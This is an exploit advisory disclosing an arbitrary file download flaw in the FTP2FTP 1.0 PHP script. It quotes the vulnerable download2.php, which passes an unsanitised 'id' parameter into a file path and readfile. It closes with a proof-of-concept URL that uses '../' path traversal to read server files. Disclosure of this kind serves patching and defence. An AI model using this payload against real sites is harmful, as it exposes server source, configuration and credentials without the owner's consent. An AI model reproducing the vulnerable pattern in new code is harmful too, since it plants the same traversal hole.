FTP2FTP 1.0 - Arbitrary File Download

# Exploit Title: FTP2FTP 1.0 - Arbitrary File Download
# Dork: N/A
# Date: 18.07.2018
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor Homepage: https://codecanyon.net/item/ftp2ftp-server-to-server-file-transfer-php-script/21972395
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : The "download2.php" is vulnerable in the admin panel.
The attacker can download and read all files known by the name via 'id' parameter.

====================================================


# Vuln file : /FTP2FTP/download2.php

1.  <?php
2.  $file = "tempFiles2/".$_GET['id'];
3.
4.
5.  if (file_exists($file)) {
6.     header('Content-Description: File Transfer');
7.     header('Content-Type: application/octet-stream');
8.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
9.     header('Expires: 0');
10.    header('Cache-Control: must-revalidate');
11.    header('Pragma: public');
12.    header('Content-Length: ' . filesize($file));
13.    readfile($file);
14.    exit;
15. }
16. ?>

# PoC : http://sitenet/FTP2FTP/download2.php?id=../index.php